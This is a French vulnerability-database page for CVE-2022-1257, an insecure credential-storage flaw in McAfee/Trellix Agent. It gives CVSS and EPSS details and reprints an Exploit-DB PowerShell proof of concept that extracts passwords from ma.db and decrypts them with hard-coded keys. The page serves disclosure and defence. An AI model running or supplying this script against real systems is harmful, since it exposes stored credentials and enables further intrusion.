CVE-2022-1257 : Détail

CVE-2022-1257

6.1
/
Moyen
A01-Broken Access Control
0.24%V4
Local
2022-04-14
11h50 +00:00
2024-08-02
23h55 +00:00
CVE.org
NVD
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Descriptions du CVE

Improper Verification of Cryptographic Signature by McAfee Agent

Insecure storage of sensitive information vulnerability in MA for Linux, macOS, and Windows prior to 5.7.6 allows a local user to gain access to sensitive information through storage in ma.db. The sensitive information has been moved to encrypted database files.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-922 Insecure Storage of Sensitive Information
The product stores sensitive information without properly limiting read or write access by unauthorized actors.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.1 6.1 MEDIUM CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

Low

Modification of data is possible, but the attacker does not have control over the consequence of a modification, or the amount of modification is limited. The data modification does not have a direct, serious impact on the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
V3.1 5.5 MEDIUM CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 nvd@nist.gov
V2 2.1 AV:L/AC:L/Au:N/C:P/I:N/A:N nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 52345

Date de publication : 2025-06-25 22h00 +00:00
Auteur : Keenan Scott
EDB Vérifié : No

Exploit Title: McAfee Agent 5.7.6 - Insecure Storage of Sensitive Information Date: 24 June 2025 Exploit Author: Keenan Scott Vendor Homepage: hxxps[://]www[.]mcafee[.]com/ Software Download: N/A (Unable to find) Version: < 5.7.6 Tested on: Windows 11 CVE: CVE-2022-1257 <# .SYNOPSIS Dump and decrypt encrypted Windows credentials from Trellix Agent Database ("C:\ProgramData\McAfee\Agent\DB\ma.db") - PoC for CVE-2022-1257. Made by scottk817 .DESCRIPTION This script demonstrates exploitation of CVE-2022-1257, a vulnerability in McAfee's Trellix Agent Database where attackers can retrieve and decrypt credentials from the `ma.db` database file. .LINK https://nvd.nist.gov/vuln/detail/cve-2022-1257 https://github.com/funoverip/mcafee-sitelist-pwd-decryption/blob/master/mcafee_sitelist_pwd_decrypt.py https://mrd0x.com/abusing-mcafee-vulnerabilities-misconfigurations/ https://tryhackme.com/room/breachingad .OUTPUTS CSV in stdOut: Username,Password #> # Arguments [CmdletBinding()] param ( [string]$DbSource = 'C:\ProgramData\McAfee\Agent\DB\ma.db', [string]$TempFolder = $env:TEMP ) ### Initialize use of WinSQLite3 ### $cls = "WinSQLite_{0}" -f ([guid]::NewGuid().ToString('N')) $code = @" using System; using System.Runtime.InteropServices; public static class $cls { public const int SQLITE_OK = 0; public const int SQLITE_ROW = 100; [DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)] public static extern int sqlite3_open_v2( [MarshalAs(UnmanagedType.LPStr)] string filename, out IntPtr db, int flags, IntPtr vfs ); [DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)] public static extern int sqlite3_close(IntPtr db); [DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)] public static extern int sqlite3_prepare_v2( IntPtr db, string sql, int nByte, out IntPtr stmt, IntPtr pzTail ); [DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)] public static extern int sqlite3_step(IntPtr stmt); [DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)] public static extern IntPtr sqlite3_column_text(IntPtr stmt, int col); [DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)] public static extern int sqlite3_finalize(IntPtr stmt); } "@ # SQL statement to retrieve usersnames and encrypted passwords from ma.db $sql = @" SELECT AUTH_USER, AUTH_PASSWD FROM AGENT_REPOSITORIES WHERE AUTH_PASSWD IS NOT NULL; "@ Add-Type -TypeDefinition $code -PassThru | Out-Null $type = [type]$cls ### Decode and Decrypt ### # Function to decode, and decrypt the credentials found in the DB using the static keys used for every Trellix agent. function Invoke-McAfeeDecrypt { param([string]$B64) [byte[]]$mask = 0x12,0x15,0x0F,0x10,0x11,0x1C,0x1A,0x06, 0x0A,0x1F,0x1B,0x18,0x17,0x16,0x05,0x19 [byte[]]$buf = [Convert]::FromBase64String($B64.Trim()) for ($i = 0; $i -lt $buf.Length; $i++) { $buf[$i] = $buf[$i] -bxor $mask[$i % $mask.Length] } $sha = [System.Security.Cryptography.SHA1]::Create() [byte[]]$key = $sha.ComputeHash([Text.Encoding]::ASCII.GetBytes("<!@#$%^>")) + (0..3 | ForEach-Object { 0 }) $tdes = [System.Security.Cryptography.TripleDES]::Create() $tdes.Mode = 'ECB' $tdes.Padding = 'None' $tdes.Key = $key [byte[]]$plain = $tdes.CreateDecryptor().TransformFinalBlock($buf, 0, $buf.Length) $i = 0 while ($i -lt $plain.Length -and $plain[$i] -ge 0x20 -and $plain[$i] -le 0x7E) { $i++ } if ($i -eq 0) { return '' } [Text.Encoding]::UTF8.GetString($plain, 0, $i) } ### Copy ma.db ### # Copy ma.db over to temp directory add GUID incase it already exists there. $tmp = Join-Path $TempFolder ("ma_{0}.db" -f ([guid]::NewGuid())) Copy-Item -LiteralPath $DbSource -Destination $tmp -Force ### Pull records ### $dbPtr = [IntPtr]::Zero $stmtPtr = [IntPtr]::Zero $flags = 1 $rc = $type::sqlite3_open_v2($tmp, [ref]$dbPtr, $flags, [IntPtr]::Zero) if ($rc -ne $type::SQLITE_OK) { $msg = [Runtime.InteropServices.Marshal]::PtrToStringAnsi( $type::sqlite3_errmsg($dbPtr)) Throw "sqlite3_open_v2 failed (code $rc) : $msg" } $rc = $type::sqlite3_prepare_v2($dbPtr, $sql, -1, [ref]$stmtPtr, [IntPtr]::Zero) if ($rc -ne $type::SQLITE_OK) { $msg = [Runtime.InteropServices.Marshal]::PtrToStringAnsi( $type::sqlite3_errmsg($dbPtr)) $type::sqlite3_close($dbPtr) | Out-Null Throw "sqlite3_prepare_v2 failed (code $rc) : $msg" } $buffer = [System.Collections.Generic.List[string]]::new() while ($type::sqlite3_step($stmtPtr) -eq $type::SQLITE_ROW) { $uPtr = $type::sqlite3_column_text($stmtPtr, 0) $pPtr = $type::sqlite3_column_text($stmtPtr, 1) $user = [Runtime.InteropServices.Marshal]::PtrToStringAnsi($uPtr) $pass = [Runtime.InteropServices.Marshal]::PtrToStringAnsi($pPtr) if ($user -and $pass) { $buffer.Add("$user,$pass") } } ### Cleanup ### # Finish and close SQL $type::sqlite3_finalize($stmtPtr) | Out-Null $type::sqlite3_close($dbPtr) | Out-Null # Delete the ma.db file copied to the temp file Remove-Item $tmp -Force -ErrorAction SilentlyContinue ### Process encrypted credentials ### # For each row of credentials decrypt them and print plaintext to standard out. foreach ($line in $buffer) { $rec = $line -split ',', 2 if ($rec.Length -eq 2) { $username = $rec[0] try { $password = Invoke-McAfeeDecrypt $rec[1] } catch { $password = "[DECRYPT-ERROR] $_" } "Username,Password" "$username,$password" } }

Products Mentioned

Configuraton 0

Mcafee>>Agent >> Version To (excluding) 5.7.6

Références

Les informations affichées sur CVE Find proviennent de plusieurs sources de référence rigoureusement sélectionnées. Les données CVE sont fournies par MITRE Corporation et la National Vulnerability Database (NVD). Le catalogue des vulnérabilités activement exploitées (KEV) provient de la Cybersecurity and Infrastructure Security Agency (CISA), tandis que les scores EPSS sont issus de FIRST.org. Enfin, les données relatives aux faiblesses logicielles (CWE) et aux schémas d'attaque courants (CAPEC) sont maintenues par MITRE Corporation, et les informations sur les configurations logicielles et matérielles (CPE) proviennent du NVD.